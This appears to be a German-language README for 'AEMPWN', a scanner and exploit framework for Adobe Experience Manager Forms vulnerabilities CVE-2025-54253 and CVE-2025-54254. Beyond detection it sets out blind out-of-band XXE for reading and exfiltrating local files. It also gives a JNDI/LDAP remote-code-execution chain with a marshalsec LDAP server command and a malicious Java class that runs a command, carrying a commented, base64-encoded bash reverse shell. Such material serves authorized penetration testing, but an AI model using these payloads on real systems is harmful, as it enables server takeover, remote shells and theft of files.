
CVE-2025-54253 | CVE-2025-54254 | Adobe Experience Manager Forms XXE → RCE Framework
AEMPWN
AEM Forms-Scanner für CVE-2025-54253 & CVE-2025-54254
AEMPWN ist ein gezielter Scanner zur Identifizierung von Hochrisiko-Schwachstellen in Adobe Experience Manager (AEM) Forms, mit Unterstützung für sichere Erkennung, blinde Out-of-Band-Bestätigung (OOB) und vollständige Proof-of-Concept-Validierungs-Workflows (PoC). Dieses Tool ist ausschließlich für autorisierte Sicherheitstests vorgesehen.
Unterstützte Schwachstellen
CVE-2025-54253 Konfigurationsabhängige Remote-Codeausführung in AEM Forms (JEE)
CVE-2025-54254 XML-External-Entity-Injection (XXE), die zur Offenlegung von Dateien und möglicher Eskalation führt
Betriebsmodi AEMPWN unterstützt drei Ausführungsmodi, die auf reale Bug-Bounty- und Red-Team-Workflows abgestimmt sind.
Zweck: Unsicheres XML-Parsing-Verhalten und nutzbare Angriffsfläche identifizieren, ohne destruktives Verhalten auszulösen.
Was validiert wird: XML-Reflexion Nicht-HTML strukturierte Antworten Canary-Token-Reflexion Indikatoren für unsichere XML-Verarbeitung
Verwenden, wenn: Sie eine Validierung mit geringem Rauschen wünschen Sie die Auswirkungen noch eingrenzen Sie ein sicheres Signal vor der Eskalation benötigen Dieser Modus eignet sich für die frühe Triage und interne Berichterstattung.
Zweck: Blinde XXE über ausgehende Anfragen vom AEM-Server bestätigen.
Wichtige Klarstellung: Burp Collaborator (oder ähnliche Dienste) beobachten ausschließlich ausgehende Verbindungen. Sie: Hosten keine beliebigen DTD-Dateien Liefern keine schädlichen Payloads aus Geben keine angreiferkontrollierten Antworten zurück Unterstützen keine LDAP/JNDI-Ausnutzung
Aus diesem Grund reicht Collaborator allein für eine vollständige OOB-XXE-Ausnutzung nicht aus.
Was Sie benötigen: Einen HTTP-Server, den Sie kontrollieren (VPS, Cloud-Instanz, lokaler Server mit Tunneling usw.) Die Möglichkeit, eine DTD-Datei auszuliefern Die Möglichkeit, eingehende HTTP-Anfragen und Query-Parameter zu beobachten
Was dies beweist: Der XML-Parser ruft externe Entitäten ab Das Ziel sendet ausgehende Netzwerkanfragen Sensible lokale Dateien können gelesen und exfiltriert werden
Zweck: Tatsächliche Codeausführung auf dem AEM-Server für Impact auf P1-Niveau demonstrieren.
Dieser Modus basiert auf JNDI-Injection über XML-Parsing, was Infrastruktur über HTTP-Callbacks hinaus erfordert.
Was Sie benötigen: Einen laufenden LDAP-Server, der eine Java-Klassenreferenz ausliefern kann Einen HTTP-Server, der eine kompilierte Java-Klasse hostet Ein kontrolliertes Ausführungsprimitiv (z. B. Dateierstellung, ausgehender Callback)
Warum LDAP erforderlich ist: Der XML-Parser versucht, eine JNDI-Referenz aufzulösen Dadurch verbindet sich der AEM-Server mit Ihrem LDAP-Listener Die LDAP-Antwort verweist auf eine Java-Klasse Die Klasse wird von der JVM geladen und ausgeführt
Bestes Werkzeug: marshalsec
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://your-server/#Exploit" 1389
http://your-server/#Exploit = HTTP-Server, der Exploit.class (kompilierte schädliche Klasse) ausliefert.
Beispiel für eine schädliche Klasse (einfaches touch /tmp/pwned oder Reverse Shell):
Javaimport java.io.IOException;
public class Exploit {
static {
try {
Runtime.getRuntime().exec("touch /tmp/pwned");
// or reverse shell: Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}");
} catch (IOException e) {}
}
}
Kompilieren → auf HTTP-Server hosten (dieselbe DTD oder separat). Wenn AEM die Entität parst → Verbindung zu Ihrem LDAP → Abruf der Klasse → Ausführung des Codes.
Wichtige Einschränkung:
Burp Collaborator kann: Keine LDAP-Antworten ausliefern Keine Java-Klassen hosten Kein JNDI-basiertes Klassenladen auslösen Aus diesem Grund kann der RCE-Modus ohne einen echten LDAP-Dienst nicht funktionieren.
Über Burp Collaborator Burp Collaborator (und ähnliche Plattformen) sind nur für die Erkennung nützlich.
Sie können bestätigen: DNS-Lookups HTTP- oder HTTPS-Callbacks Blinde ausgehende Konnektivität
Sie können nicht: DTD-Dateien hosten Exfiltrierte Dateiinhalte verarbeiten Java-Klassen ausliefern JNDI- oder LDAP-basierte Ausnutzung unterstützen
Verwenden Sie Collaborator zum Beobachten, nicht zum Ausliefern von Payloads.
Ausgabe:
Bestätigte Befunde werden in eine Ausgabedatei geschrieben (Standard: aem-forms-scan.txt) und enthalten: Ziel-Basis-URL Betroffener Endpunkt Beobachtete Erkennungssignale Modus-spezifische Indikatoren Video-PoC-freundlich